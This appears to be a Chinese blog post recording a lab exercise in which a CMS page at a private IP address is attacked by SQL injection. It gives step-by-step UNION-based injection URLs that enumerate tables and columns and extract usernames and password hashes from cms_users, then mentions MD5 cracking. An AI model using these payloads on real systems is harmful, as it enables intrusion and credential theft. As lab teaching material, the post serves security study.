实验——SQL注入

目标系统:cms网站

操作工具:hackbar

判断是否有回显

根据变换id,数据库中的内容是否回显在网页中判断

http://192.168.6.134/cms/show.php

?id=33

http://192.168.6.134/cms/show.php

?id=34

判断数据库是否有报错

在id后加单引号

判断是字符型还是数字型

给id加单引号,提交之后有错误提示

当错误提示中参数左右有单引号和双引号时为字符型

当数字参数左右两边没有引号时就为数字型

 

该网站错误中没有数字参数显示出,为数字型。

判断是否有布尔类型状态

http://192.168.6.134/cms/show.php

?id=34 and 1=2

1=2为假,新闻内容不显示,证明有布尔类型状态

判断列数

利用order by进行判断,当根据第16列进行排序时,页面显示有错误,得出有15列

判断显示位

http://192.168.6.134/cms/show.php

?id=34 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()

判断第3和11个字段是显示位

输出数据库的名字

http://192.168.6.134/cms/show.php

?id=34 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()

查询所有的表名

http://192.168.6.134/cms/show.php

?id=34 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,table_name,12,13,14,15 from information_schema.tables where table_schema=database()

字段编码不同出现问题的解决方法

hex(group_concat(table_name)):将该字段转换成十六进制,结果再转为字符串得到所有表。

 

http://192.168.6.134/cms/show.php

?id=34 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,hex(group_concat(table_name)),

12,13,14,15 from information_schema.tables where table_schema=database()

获取字段名

获得cms_users中的字段名

http://192.168.6.134/cms/show.php

?id=34 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,hex(group_concat(column_name)),

12,13,14,15 from information_schema.columns where table_name="cms_users"

获得字段内容

http://192.168.6.134/cms/show.php

?id=34 and 1=2 union select 1,2,group_concat(username),4,5,6,7,8,9,10,group_concat(password),

12,13,14,15 from cms_users

MD5解密

 

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值